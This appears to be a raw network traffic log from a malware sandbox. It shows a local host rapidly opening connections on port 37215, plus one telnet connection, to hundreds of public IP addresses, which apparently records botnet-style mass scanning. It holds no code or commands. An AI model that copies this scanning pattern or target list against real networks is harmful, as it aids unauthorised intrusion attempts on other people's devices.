Dec 3, 2024 21:47:24.223233938 CET	37215	34043	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:24.223249912 CET	37215	34043	197.197.99.27	192.168.2.13
Dec 3, 2024 21:47:24.223263025 CET	37215	34043	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:24.223272085 CET	34043	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:24.223278999 CET	34043	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:24.223282099 CET	37215	34043	41.18.160.244	192.168.2.13
Dec 3, 2024 21:47:24.223294020 CET	34043	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:24.223318100 CET	37215	34043	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:24.223329067 CET	34043	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:24.223330975 CET	37215	34043	41.248.180.24	192.168.2.13
Dec 3, 2024 21:47:24.223345995 CET	37215	34043	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:24.223354101 CET	34043	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:24.223357916 CET	34043	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:24.223378897 CET	34043	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:24.223387957 CET	37215	34043	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:24.223401070 CET	37215	34043	156.238.129.211	192.168.2.13
Dec 3, 2024 21:47:24.223424911 CET	34043	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:24.223438978 CET	34043	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:24.223562956 CET	37215	34043	41.227.92.100	192.168.2.13
Dec 3, 2024 21:47:24.223576069 CET	37215	34043	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:24.223598003 CET	37215	34043	41.84.2.171	192.168.2.13
Dec 3, 2024 21:47:24.223608017 CET	34043	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:24.223611116 CET	34043	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:24.223612070 CET	37215	34043	156.18.66.100	192.168.2.13
Dec 3, 2024 21:47:24.223625898 CET	37215	34043	197.41.35.27	192.168.2.13
Dec 3, 2024 21:47:24.223638058 CET	34043	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:24.223642111 CET	37215	34043	41.193.68.101	192.168.2.13
Dec 3, 2024 21:47:24.223649979 CET	34043	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:24.223656893 CET	34043	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.223659992 CET	37215	34043	41.179.108.209	192.168.2.13
Dec 3, 2024 21:47:24.223671913 CET	34043	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:24.223680019 CET	37215	34043	41.170.21.145	192.168.2.13
Dec 3, 2024 21:47:24.223690987 CET	37215	34043	197.102.244.208	192.168.2.13
Dec 3, 2024 21:47:24.223697901 CET	34043	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:24.223706961 CET	37215	34043	197.233.207.19	192.168.2.13
Dec 3, 2024 21:47:24.223720074 CET	34043	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:24.223725080 CET	34043	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:24.223769903 CET	34043	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:24.236579895 CET	37215	34238	156.157.158.180	192.168.2.13
Dec 3, 2024 21:47:24.236604929 CET	23	36770	156.179.77.230	192.168.2.13
Dec 3, 2024 21:47:24.236665964 CET	34238	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:24.236665964 CET	36770	23	192.168.2.13	156.179.77.230
Dec 3, 2024 21:47:24.236840963 CET	34043	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.236840963 CET	34043	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.236851931 CET	34043	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.236854076 CET	34043	37215	192.168.2.13	156.92.249.3
Dec 3, 2024 21:47:24.236857891 CET	34043	37215	192.168.2.13	197.91.120.19
Dec 3, 2024 21:47:24.236859083 CET	34043	37215	192.168.2.13	156.161.149.156
Dec 3, 2024 21:47:24.236867905 CET	34043	37215	192.168.2.13	156.167.40.198
Dec 3, 2024 21:47:24.236871958 CET	34043	37215	192.168.2.13	41.193.73.104
Dec 3, 2024 21:47:24.236871958 CET	34043	37215	192.168.2.13	156.34.171.187
Dec 3, 2024 21:47:24.236874104 CET	34043	37215	192.168.2.13	197.38.200.35
Dec 3, 2024 21:47:24.236874104 CET	34043	37215	192.168.2.13	156.50.99.89
Dec 3, 2024 21:47:24.236874104 CET	34043	37215	192.168.2.13	197.70.163.233
Dec 3, 2024 21:47:24.236881018 CET	34043	37215	192.168.2.13	156.244.107.252
Dec 3, 2024 21:47:24.236882925 CET	34043	37215	192.168.2.13	197.91.130.217
Dec 3, 2024 21:47:24.236886024 CET	34043	37215	192.168.2.13	156.100.40.200
Dec 3, 2024 21:47:24.236887932 CET	34043	37215	192.168.2.13	41.45.49.183
Dec 3, 2024 21:47:24.236895084 CET	34043	37215	192.168.2.13	41.100.199.116
Dec 3, 2024 21:47:24.236898899 CET	34043	37215	192.168.2.13	197.220.179.136
Dec 3, 2024 21:47:24.236905098 CET	34043	37215	192.168.2.13	197.227.252.48
Dec 3, 2024 21:47:24.236917019 CET	34043	37215	192.168.2.13	156.99.9.29
Dec 3, 2024 21:47:24.236926079 CET	34043	37215	192.168.2.13	156.107.78.53
Dec 3, 2024 21:47:24.236927986 CET	34043	37215	192.168.2.13	156.64.4.63
Dec 3, 2024 21:47:24.236934900 CET	34043	37215	192.168.2.13	156.66.106.27
Dec 3, 2024 21:47:24.236938953 CET	34043	37215	192.168.2.13	41.186.88.190
Dec 3, 2024 21:47:24.236958981 CET	34043	37215	192.168.2.13	197.165.227.207
Dec 3, 2024 21:47:24.236960888 CET	34043	37215	192.168.2.13	197.6.189.51
Dec 3, 2024 21:47:24.236960888 CET	34043	37215	192.168.2.13	156.13.108.98
Dec 3, 2024 21:47:24.236970901 CET	34043	37215	192.168.2.13	197.215.215.187
Dec 3, 2024 21:47:24.236980915 CET	34043	37215	192.168.2.13	41.211.15.254
Dec 3, 2024 21:47:24.236983061 CET	34043	37215	192.168.2.13	156.100.19.213
Dec 3, 2024 21:47:24.236994028 CET	34043	37215	192.168.2.13	156.134.83.215
Dec 3, 2024 21:47:24.236999035 CET	34043	37215	192.168.2.13	156.147.255.143
Dec 3, 2024 21:47:24.237008095 CET	34043	37215	192.168.2.13	41.119.209.117
Dec 3, 2024 21:47:24.237008095 CET	34043	37215	192.168.2.13	41.186.213.153
Dec 3, 2024 21:47:24.237020016 CET	34043	37215	192.168.2.13	197.151.66.232
Dec 3, 2024 21:47:24.237024069 CET	34043	37215	192.168.2.13	156.177.240.222
Dec 3, 2024 21:47:24.237032890 CET	34043	37215	192.168.2.13	156.190.68.134
Dec 3, 2024 21:47:24.237039089 CET	34043	37215	192.168.2.13	41.6.155.15
Dec 3, 2024 21:47:24.237046957 CET	34043	37215	192.168.2.13	197.152.132.217
Dec 3, 2024 21:47:24.237059116 CET	34043	37215	192.168.2.13	197.27.88.158
Dec 3, 2024 21:47:24.237076998 CET	34043	37215	192.168.2.13	197.123.54.173
Dec 3, 2024 21:47:24.237063885 CET	34043	37215	192.168.2.13	197.106.59.181
Dec 3, 2024 21:47:24.237077951 CET	34043	37215	192.168.2.13	41.114.207.223
Dec 3, 2024 21:47:24.237090111 CET	34043	37215	192.168.2.13	41.99.245.80
Dec 3, 2024 21:47:24.237092018 CET	34043	37215	192.168.2.13	156.89.75.68
Dec 3, 2024 21:47:24.237102985 CET	34043	37215	192.168.2.13	156.168.82.23
Dec 3, 2024 21:47:24.237102985 CET	34043	37215	192.168.2.13	41.49.79.239
Dec 3, 2024 21:47:24.237108946 CET	34043	37215	192.168.2.13	41.204.123.48
Dec 3, 2024 21:47:24.237114906 CET	34043	37215	192.168.2.13	197.255.84.17
Dec 3, 2024 21:47:24.237117052 CET	34043	37215	192.168.2.13	41.229.201.133
Dec 3, 2024 21:47:24.237135887 CET	34043	37215	192.168.2.13	156.82.87.196
Dec 3, 2024 21:47:24.237137079 CET	34043	37215	192.168.2.13	197.200.240.183
Dec 3, 2024 21:47:24.237144947 CET	34043	37215	192.168.2.13	41.118.26.173
Dec 3, 2024 21:47:24.237154007 CET	34043	37215	192.168.2.13	197.139.181.59
Dec 3, 2024 21:47:24.237154007 CET	34043	37215	192.168.2.13	197.186.115.100
Dec 3, 2024 21:47:24.237154961 CET	34043	37215	192.168.2.13	197.224.204.153
Dec 3, 2024 21:47:24.237175941 CET	34043	37215	192.168.2.13	156.28.249.91
Dec 3, 2024 21:47:24.237175941 CET	34043	37215	192.168.2.13	156.214.253.13
Dec 3, 2024 21:47:24.237178087 CET	34043	37215	192.168.2.13	156.162.161.15
Dec 3, 2024 21:47:24.237190008 CET	34043	37215	192.168.2.13	156.221.168.82
Dec 3, 2024 21:47:24.237190962 CET	34043	37215	192.168.2.13	156.11.149.191
Dec 3, 2024 21:47:24.237195969 CET	34043	37215	192.168.2.13	197.254.131.49
Dec 3, 2024 21:47:24.237195969 CET	34043	37215	192.168.2.13	197.72.121.13
Dec 3, 2024 21:47:24.237201929 CET	34043	37215	192.168.2.13	41.75.158.39
Dec 3, 2024 21:47:24.237205029 CET	34043	37215	192.168.2.13	156.199.28.3
Dec 3, 2024 21:47:24.237220049 CET	34043	37215	192.168.2.13	41.127.163.20
Dec 3, 2024 21:47:24.237221003 CET	34043	37215	192.168.2.13	156.190.66.12
Dec 3, 2024 21:47:24.237230062 CET	34043	37215	192.168.2.13	156.32.166.190
Dec 3, 2024 21:47:24.237236977 CET	34043	37215	192.168.2.13	197.82.122.72
Dec 3, 2024 21:47:24.237251997 CET	34043	37215	192.168.2.13	41.161.82.237
Dec 3, 2024 21:47:24.237253904 CET	34043	37215	192.168.2.13	197.48.12.159
Dec 3, 2024 21:47:24.237257957 CET	34043	37215	192.168.2.13	197.128.117.115
Dec 3, 2024 21:47:24.237276077 CET	34043	37215	192.168.2.13	197.127.29.104
Dec 3, 2024 21:47:24.237277031 CET	34043	37215	192.168.2.13	197.52.134.12
Dec 3, 2024 21:47:24.237291098 CET	34043	37215	192.168.2.13	41.62.233.108
Dec 3, 2024 21:47:24.237291098 CET	34043	37215	192.168.2.13	197.70.175.247
Dec 3, 2024 21:47:24.237308025 CET	34043	37215	192.168.2.13	197.212.238.232
Dec 3, 2024 21:47:24.237313032 CET	34043	37215	192.168.2.13	41.24.94.173
Dec 3, 2024 21:47:24.237314939 CET	34043	37215	192.168.2.13	197.60.49.29
Dec 3, 2024 21:47:24.237325907 CET	34043	37215	192.168.2.13	41.0.78.42
Dec 3, 2024 21:47:24.237330914 CET	34043	37215	192.168.2.13	41.55.99.66
Dec 3, 2024 21:47:24.237335920 CET	34043	37215	192.168.2.13	41.25.113.25
Dec 3, 2024 21:47:24.237341881 CET	34043	37215	192.168.2.13	197.248.233.94
Dec 3, 2024 21:47:24.237348080 CET	34043	37215	192.168.2.13	41.157.70.182
Dec 3, 2024 21:47:24.237359047 CET	34043	37215	192.168.2.13	41.228.55.135
Dec 3, 2024 21:47:24.237359047 CET	34043	37215	192.168.2.13	197.128.240.83
Dec 3, 2024 21:47:24.237359047 CET	34043	37215	192.168.2.13	197.32.189.10
Dec 3, 2024 21:47:24.237377882 CET	34043	37215	192.168.2.13	41.128.230.167
Dec 3, 2024 21:47:24.237380028 CET	34043	37215	192.168.2.13	156.166.139.198
Dec 3, 2024 21:47:24.237380028 CET	34043	37215	192.168.2.13	41.11.23.72
Dec 3, 2024 21:47:24.237396955 CET	34043	37215	192.168.2.13	41.105.43.205
Dec 3, 2024 21:47:24.237401009 CET	34043	37215	192.168.2.13	156.207.191.206
Dec 3, 2024 21:47:24.237401962 CET	34043	37215	192.168.2.13	197.177.21.134
Dec 3, 2024 21:47:24.237431049 CET	34043	37215	192.168.2.13	156.182.10.74
Dec 3, 2024 21:47:24.237431049 CET	34043	37215	192.168.2.13	156.169.69.108
Dec 3, 2024 21:47:24.237436056 CET	34043	37215	192.168.2.13	197.43.45.198
Dec 3, 2024 21:47:24.237436056 CET	34043	37215	192.168.2.13	156.207.233.110
Dec 3, 2024 21:47:24.237436056 CET	34043	37215	192.168.2.13	197.152.78.244
Dec 3, 2024 21:47:24.237436056 CET	34043	37215	192.168.2.13	41.121.10.205
Dec 3, 2024 21:47:24.237447977 CET	34043	37215	192.168.2.13	197.140.199.183
Dec 3, 2024 21:47:24.237448931 CET	34043	37215	192.168.2.13	41.128.78.248
Dec 3, 2024 21:47:24.237472057 CET	34043	37215	192.168.2.13	156.102.227.8
Dec 3, 2024 21:47:24.237473965 CET	34043	37215	192.168.2.13	156.60.222.137
Dec 3, 2024 21:47:24.237473011 CET	34043	37215	192.168.2.13	41.69.172.63
Dec 3, 2024 21:47:24.237474918 CET	34043	37215	192.168.2.13	156.55.165.238
Dec 3, 2024 21:47:24.237476110 CET	34043	37215	192.168.2.13	197.12.165.25
Dec 3, 2024 21:47:24.237476110 CET	34043	37215	192.168.2.13	197.17.9.10
Dec 3, 2024 21:47:24.237476110 CET	34043	37215	192.168.2.13	156.10.113.194
Dec 3, 2024 21:47:24.237476110 CET	34043	37215	192.168.2.13	41.157.92.21
Dec 3, 2024 21:47:24.237477064 CET	34043	37215	192.168.2.13	156.236.198.188
Dec 3, 2024 21:47:24.237476110 CET	34043	37215	192.168.2.13	41.180.59.169
Dec 3, 2024 21:47:24.237477064 CET	34043	37215	192.168.2.13	156.26.207.216
Dec 3, 2024 21:47:24.237477064 CET	34043	37215	192.168.2.13	197.88.143.80
Dec 3, 2024 21:47:24.237483978 CET	34043	37215	192.168.2.13	197.201.209.48
Dec 3, 2024 21:47:24.237484932 CET	34043	37215	192.168.2.13	41.165.99.239
Dec 3, 2024 21:47:24.237485886 CET	34043	37215	192.168.2.13	197.225.236.101
Dec 3, 2024 21:47:24.237490892 CET	34043	37215	192.168.2.13	156.255.217.131
Dec 3, 2024 21:47:24.237490892 CET	34043	37215	192.168.2.13	41.222.217.182
Dec 3, 2024 21:47:24.237503052 CET	34043	37215	192.168.2.13	41.27.245.206
Dec 3, 2024 21:47:24.237504959 CET	34043	37215	192.168.2.13	197.137.11.121
Dec 3, 2024 21:47:24.237505913 CET	34043	37215	192.168.2.13	156.104.151.165
Dec 3, 2024 21:47:24.237505913 CET	34043	37215	192.168.2.13	41.83.31.16
Dec 3, 2024 21:47:24.237508059 CET	34043	37215	192.168.2.13	197.222.101.21
Dec 3, 2024 21:47:24.237508059 CET	34043	37215	192.168.2.13	41.39.49.75
Dec 3, 2024 21:47:24.237508059 CET	34043	37215	192.168.2.13	156.154.207.249
Dec 3, 2024 21:47:24.237515926 CET	34043	37215	192.168.2.13	41.17.220.135
Dec 3, 2024 21:47:24.237515926 CET	34043	37215	192.168.2.13	156.235.27.80
Dec 3, 2024 21:47:24.237515926 CET	34043	37215	192.168.2.13	41.214.113.224
Dec 3, 2024 21:47:24.237515926 CET	34043	37215	192.168.2.13	156.32.250.100
Dec 3, 2024 21:47:24.237517118 CET	34043	37215	192.168.2.13	197.128.11.240
Dec 3, 2024 21:47:24.237515926 CET	34043	37215	192.168.2.13	197.239.68.202
Dec 3, 2024 21:47:24.237515926 CET	34043	37215	192.168.2.13	41.152.222.0
Dec 3, 2024 21:47:24.237508059 CET	34043	37215	192.168.2.13	197.144.9.101
Dec 3, 2024 21:47:24.237526894 CET	34043	37215	192.168.2.13	41.43.84.239
Dec 3, 2024 21:47:24.237529039 CET	34043	37215	192.168.2.13	197.17.33.159
Dec 3, 2024 21:47:24.237536907 CET	34043	37215	192.168.2.13	41.33.153.130
Dec 3, 2024 21:47:24.237536907 CET	34043	37215	192.168.2.13	197.2.84.209
Dec 3, 2024 21:47:24.237536907 CET	34043	37215	192.168.2.13	41.248.57.191
Dec 3, 2024 21:47:24.237543106 CET	34043	37215	192.168.2.13	156.52.153.194
Dec 3, 2024 21:47:24.237545013 CET	34043	37215	192.168.2.13	156.60.144.123
Dec 3, 2024 21:47:24.237548113 CET	34043	37215	192.168.2.13	197.210.247.34
Dec 3, 2024 21:47:24.237548113 CET	34043	37215	192.168.2.13	197.132.157.243
Dec 3, 2024 21:47:24.237552881 CET	34043	37215	192.168.2.13	197.69.29.10
Dec 3, 2024 21:47:24.237555981 CET	34043	37215	192.168.2.13	156.170.18.194
Dec 3, 2024 21:47:24.237557888 CET	34043	37215	192.168.2.13	197.202.102.105
Dec 3, 2024 21:47:24.237567902 CET	34043	37215	192.168.2.13	41.185.169.13
Dec 3, 2024 21:47:24.237570047 CET	34043	37215	192.168.2.13	156.102.203.153
Dec 3, 2024 21:47:24.237576962 CET	34043	37215	192.168.2.13	41.111.224.175
Dec 3, 2024 21:47:24.237587929 CET	34043	37215	192.168.2.13	197.16.22.246
Dec 3, 2024 21:47:24.237596035 CET	34043	37215	192.168.2.13	197.238.39.213
Dec 3, 2024 21:47:24.237596989 CET	34043	37215	192.168.2.13	197.11.121.156
Dec 3, 2024 21:47:24.237596989 CET	34043	37215	192.168.2.13	197.50.94.202
Dec 3, 2024 21:47:24.237608910 CET	34043	37215	192.168.2.13	156.24.130.212
Dec 3, 2024 21:47:24.237622976 CET	34043	37215	192.168.2.13	41.48.189.207
Dec 3, 2024 21:47:24.237642050 CET	34043	37215	192.168.2.13	156.159.193.101
Dec 3, 2024 21:47:24.237642050 CET	34043	37215	192.168.2.13	41.24.62.146
Dec 3, 2024 21:47:24.237643957 CET	34043	37215	192.168.2.13	197.119.82.61
Dec 3, 2024 21:47:24.237649918 CET	34043	37215	192.168.2.13	156.153.96.205
Dec 3, 2024 21:47:24.237652063 CET	34043	37215	192.168.2.13	41.43.158.134
Dec 3, 2024 21:47:24.237660885 CET	34043	37215	192.168.2.13	156.139.173.127
Dec 3, 2024 21:47:24.237662077 CET	34043	37215	192.168.2.13	156.28.215.97
Dec 3, 2024 21:47:24.237662077 CET	34043	37215	192.168.2.13	41.22.72.10
Dec 3, 2024 21:47:24.237662077 CET	34043	37215	192.168.2.13	41.177.72.244
Dec 3, 2024 21:47:24.237662077 CET	34043	37215	192.168.2.13	156.3.246.37
Dec 3, 2024 21:47:24.237669945 CET	34043	37215	192.168.2.13	197.15.60.147
Dec 3, 2024 21:47:24.237672091 CET	34043	37215	192.168.2.13	41.41.188.135
Dec 3, 2024 21:47:24.237658978 CET	34043	37215	192.168.2.13	197.118.113.90
Dec 3, 2024 21:47:24.237658978 CET	34043	37215	192.168.2.13	41.5.178.5
Dec 3, 2024 21:47:24.237675905 CET	34043	37215	192.168.2.13	197.223.74.185
Dec 3, 2024 21:47:24.237678051 CET	34043	37215	192.168.2.13	197.88.102.201
Dec 3, 2024 21:47:24.237684965 CET	34043	37215	192.168.2.13	41.195.167.181
Dec 3, 2024 21:47:24.237685919 CET	34043	37215	192.168.2.13	156.19.79.81
Dec 3, 2024 21:47:24.237687111 CET	34043	37215	192.168.2.13	41.233.196.69
Dec 3, 2024 21:47:24.237689972 CET	34043	37215	192.168.2.13	41.218.197.61
Dec 3, 2024 21:47:24.237696886 CET	34043	37215	192.168.2.13	41.208.221.21
Dec 3, 2024 21:47:24.237696886 CET	34043	37215	192.168.2.13	41.211.210.93
Dec 3, 2024 21:47:24.237705946 CET	34043	37215	192.168.2.13	156.218.238.83
Dec 3, 2024 21:47:24.237711906 CET	34043	37215	192.168.2.13	156.156.240.245
Dec 3, 2024 21:47:24.237711906 CET	34043	37215	192.168.2.13	156.136.236.222
Dec 3, 2024 21:47:24.237715960 CET	34043	37215	192.168.2.13	41.154.42.63
Dec 3, 2024 21:47:24.237716913 CET	34043	37215	192.168.2.13	197.15.154.164
Dec 3, 2024 21:47:24.237730980 CET	34043	37215	192.168.2.13	156.211.253.72
Dec 3, 2024 21:47:24.237740040 CET	34043	37215	192.168.2.13	197.75.139.151
Dec 3, 2024 21:47:24.237745047 CET	34043	37215	192.168.2.13	197.1.0.145
Dec 3, 2024 21:47:24.237752914 CET	34043	37215	192.168.2.13	197.99.172.72
Dec 3, 2024 21:47:24.237761974 CET	34043	37215	192.168.2.13	41.217.16.192
Dec 3, 2024 21:47:24.237767935 CET	34043	37215	192.168.2.13	197.79.58.157
Dec 3, 2024 21:47:24.237776995 CET	34043	37215	192.168.2.13	41.237.186.44
Dec 3, 2024 21:47:24.237782955 CET	34043	37215	192.168.2.13	156.1.143.192
Dec 3, 2024 21:47:24.237782955 CET	34043	37215	192.168.2.13	197.127.224.154
Dec 3, 2024 21:47:24.237796068 CET	34043	37215	192.168.2.13	41.114.200.69
Dec 3, 2024 21:47:24.237812042 CET	34043	37215	192.168.2.13	41.176.77.57
Dec 3, 2024 21:47:24.237816095 CET	34043	37215	192.168.2.13	41.246.175.160
Dec 3, 2024 21:47:24.237821102 CET	34043	37215	192.168.2.13	156.102.42.76
Dec 3, 2024 21:47:24.237806082 CET	34043	37215	192.168.2.13	156.5.59.83
Dec 3, 2024 21:47:24.237828016 CET	34043	37215	192.168.2.13	156.85.98.46
Dec 3, 2024 21:47:24.237842083 CET	34043	37215	192.168.2.13	197.231.55.108
Dec 3, 2024 21:47:24.237843037 CET	34043	37215	192.168.2.13	156.113.209.167
Dec 3, 2024 21:47:24.237845898 CET	34043	37215	192.168.2.13	197.60.29.85
Dec 3, 2024 21:47:24.237845898 CET	34043	37215	192.168.2.13	156.141.137.198
Dec 3, 2024 21:47:24.237853050 CET	34043	37215	192.168.2.13	197.34.67.99
Dec 3, 2024 21:47:24.237869024 CET	34043	37215	192.168.2.13	197.49.249.95
Dec 3, 2024 21:47:24.237870932 CET	34043	37215	192.168.2.13	156.158.242.149
Dec 3, 2024 21:47:24.237876892 CET	34043	37215	192.168.2.13	41.65.237.14
Dec 3, 2024 21:47:24.237880945 CET	34043	37215	192.168.2.13	197.89.123.47
Dec 3, 2024 21:47:24.237889051 CET	34043	37215	192.168.2.13	197.233.241.18
Dec 3, 2024 21:47:24.237895012 CET	34043	37215	192.168.2.13	41.243.168.69
Dec 3, 2024 21:47:24.237905025 CET	34043	37215	192.168.2.13	41.76.77.34
Dec 3, 2024 21:47:24.237919092 CET	34043	37215	192.168.2.13	41.127.153.108
Dec 3, 2024 21:47:24.237920046 CET	34043	37215	192.168.2.13	156.51.58.250
Dec 3, 2024 21:47:24.237924099 CET	34043	37215	192.168.2.13	41.146.173.116
Dec 3, 2024 21:47:24.237940073 CET	34043	37215	192.168.2.13	156.159.198.174
Dec 3, 2024 21:47:24.237940073 CET	34043	37215	192.168.2.13	156.197.210.102
Dec 3, 2024 21:47:24.237941980 CET	34043	37215	192.168.2.13	41.77.254.60
Dec 3, 2024 21:47:24.237945080 CET	34043	37215	192.168.2.13	197.207.200.100
Dec 3, 2024 21:47:24.237945080 CET	34043	37215	192.168.2.13	197.56.102.48
Dec 3, 2024 21:47:24.237945080 CET	34043	37215	192.168.2.13	197.6.151.67
Dec 3, 2024 21:47:24.237952948 CET	34043	37215	192.168.2.13	197.33.161.107
Dec 3, 2024 21:47:24.237957954 CET	34043	37215	192.168.2.13	197.23.22.23
Dec 3, 2024 21:47:24.237960100 CET	34043	37215	192.168.2.13	41.36.140.130
Dec 3, 2024 21:47:24.237967968 CET	34043	37215	192.168.2.13	41.163.241.86
Dec 3, 2024 21:47:24.237974882 CET	34043	37215	192.168.2.13	197.140.3.82
Dec 3, 2024 21:47:24.237976074 CET	34043	37215	192.168.2.13	41.18.81.154
Dec 3, 2024 21:47:24.237989902 CET	34043	37215	192.168.2.13	197.149.76.149
Dec 3, 2024 21:47:24.237998009 CET	34043	37215	192.168.2.13	41.207.136.212
Dec 3, 2024 21:47:24.238007069 CET	34043	37215	192.168.2.13	41.163.35.253
Dec 3, 2024 21:47:24.238008976 CET	34043	37215	192.168.2.13	156.193.32.81
Dec 3, 2024 21:47:24.238030910 CET	34043	37215	192.168.2.13	41.58.198.16
Dec 3, 2024 21:47:24.238038063 CET	34043	37215	192.168.2.13	41.3.72.167
Dec 3, 2024 21:47:24.238038063 CET	34043	37215	192.168.2.13	41.28.97.18
Dec 3, 2024 21:47:24.238050938 CET	34043	37215	192.168.2.13	156.253.213.39
Dec 3, 2024 21:47:24.238050938 CET	34043	37215	192.168.2.13	197.131.190.190
Dec 3, 2024 21:47:24.238055944 CET	34043	37215	192.168.2.13	197.136.40.41
Dec 3, 2024 21:47:24.238059044 CET	34043	37215	192.168.2.13	156.57.250.60
Dec 3, 2024 21:47:24.238059044 CET	34043	37215	192.168.2.13	156.57.79.172
Dec 3, 2024 21:47:24.238070011 CET	34043	37215	192.168.2.13	41.233.94.149
Dec 3, 2024 21:47:24.238071918 CET	34043	37215	192.168.2.13	197.145.164.134
Dec 3, 2024 21:47:24.238095999 CET	34043	37215	192.168.2.13	197.208.165.107
Dec 3, 2024 21:47:24.238096952 CET	34043	37215	192.168.2.13	156.226.94.1
Dec 3, 2024 21:47:24.238095999 CET	34043	37215	192.168.2.13	41.192.51.152
Dec 3, 2024 21:47:24.238104105 CET	34043	37215	192.168.2.13	197.162.118.118
Dec 3, 2024 21:47:24.238106966 CET	34043	37215	192.168.2.13	41.59.57.17
Dec 3, 2024 21:47:24.238110065 CET	34043	37215	192.168.2.13	197.47.116.70
Dec 3, 2024 21:47:24.238116980 CET	34043	37215	192.168.2.13	156.123.203.147
Dec 3, 2024 21:47:24.238121986 CET	34043	37215	192.168.2.13	156.250.113.49
Dec 3, 2024 21:47:24.238123894 CET	34043	37215	192.168.2.13	41.136.204.204
Dec 3, 2024 21:47:24.238136053 CET	34043	37215	192.168.2.13	41.225.84.200
Dec 3, 2024 21:47:24.238140106 CET	34043	37215	192.168.2.13	41.209.91.192
Dec 3, 2024 21:47:24.238149881 CET	34043	37215	192.168.2.13	156.91.48.114
Dec 3, 2024 21:47:24.238157034 CET	34043	37215	192.168.2.13	41.97.177.160
Dec 3, 2024 21:47:24.238157034 CET	34043	37215	192.168.2.13	197.0.72.130
Dec 3, 2024 21:47:24.238172054 CET	34043	37215	192.168.2.13	156.186.88.162
Dec 3, 2024 21:47:24.238176107 CET	34043	37215	192.168.2.13	197.152.157.18
Dec 3, 2024 21:47:24.238181114 CET	34043	37215	192.168.2.13	156.160.39.154
Dec 3, 2024 21:47:24.238193035 CET	34043	37215	192.168.2.13	41.59.83.206
Dec 3, 2024 21:47:24.238198996 CET	34043	37215	192.168.2.13	156.11.241.150
Dec 3, 2024 21:47:24.238207102 CET	34043	37215	192.168.2.13	156.85.245.237
Dec 3, 2024 21:47:24.238215923 CET	34043	37215	192.168.2.13	156.155.15.17
Dec 3, 2024 21:47:24.238226891 CET	34043	37215	192.168.2.13	197.204.17.11
Dec 3, 2024 21:47:24.238231897 CET	34043	37215	192.168.2.13	41.18.96.132
Dec 3, 2024 21:47:24.238240957 CET	34043	37215	192.168.2.13	156.106.36.153
Dec 3, 2024 21:47:24.238239050 CET	34043	37215	192.168.2.13	156.47.218.185
Dec 3, 2024 21:47:24.238250971 CET	34043	37215	192.168.2.13	41.238.210.172
Dec 3, 2024 21:47:24.238239050 CET	34043	37215	192.168.2.13	156.87.72.27
Dec 3, 2024 21:47:24.238261938 CET	34043	37215	192.168.2.13	197.34.105.76
Dec 3, 2024 21:47:24.238267899 CET	34043	37215	192.168.2.13	41.114.8.183
Dec 3, 2024 21:47:24.238275051 CET	34043	37215	192.168.2.13	41.13.218.133
Dec 3, 2024 21:47:24.238284111 CET	34043	37215	192.168.2.13	156.216.153.110
Dec 3, 2024 21:47:24.238290071 CET	34043	37215	192.168.2.13	156.207.140.23
Dec 3, 2024 21:47:24.238323927 CET	34043	37215	192.168.2.13	156.7.204.126
Dec 3, 2024 21:47:24.238327980 CET	34043	37215	192.168.2.13	197.72.132.180
Dec 3, 2024 21:47:24.238327980 CET	34043	37215	192.168.2.13	197.213.109.36
Dec 3, 2024 21:47:24.238327980 CET	34043	37215	192.168.2.13	197.151.225.104
Dec 3, 2024 21:47:24.238327980 CET	34043	37215	192.168.2.13	156.32.28.19
Dec 3, 2024 21:47:24.238328934 CET	34043	37215	192.168.2.13	156.83.10.137
Dec 3, 2024 21:47:24.238327980 CET	34043	37215	192.168.2.13	156.130.158.31
Dec 3, 2024 21:47:24.238332987 CET	34043	37215	192.168.2.13	156.200.185.22
Dec 3, 2024 21:47:24.238346100 CET	34043	37215	192.168.2.13	41.237.22.166
Dec 3, 2024 21:47:24.238347054 CET	34043	37215	192.168.2.13	41.107.29.119
Dec 3, 2024 21:47:24.238348007 CET	34043	37215	192.168.2.13	156.216.4.201
Dec 3, 2024 21:47:24.238368034 CET	34043	37215	192.168.2.13	156.28.61.175
Dec 3, 2024 21:47:24.238368988 CET	34043	37215	192.168.2.13	41.98.215.200
Dec 3, 2024 21:47:24.238378048 CET	34043	37215	192.168.2.13	156.7.67.75
Dec 3, 2024 21:47:24.238380909 CET	34043	37215	192.168.2.13	197.32.106.181
Dec 3, 2024 21:47:24.238368988 CET	34043	37215	192.168.2.13	197.127.57.211
Dec 3, 2024 21:47:24.238384008 CET	34043	37215	192.168.2.13	197.92.101.38
Dec 3, 2024 21:47:24.238409042 CET	34043	37215	192.168.2.13	197.62.144.211
Dec 3, 2024 21:47:24.238410950 CET	34043	37215	192.168.2.13	41.27.163.13
Dec 3, 2024 21:47:24.238410950 CET	34043	37215	192.168.2.13	197.149.110.1
Dec 3, 2024 21:47:24.238425016 CET	34043	37215	192.168.2.13	41.63.1.174
Dec 3, 2024 21:47:24.238425016 CET	34043	37215	192.168.2.13	41.120.65.175
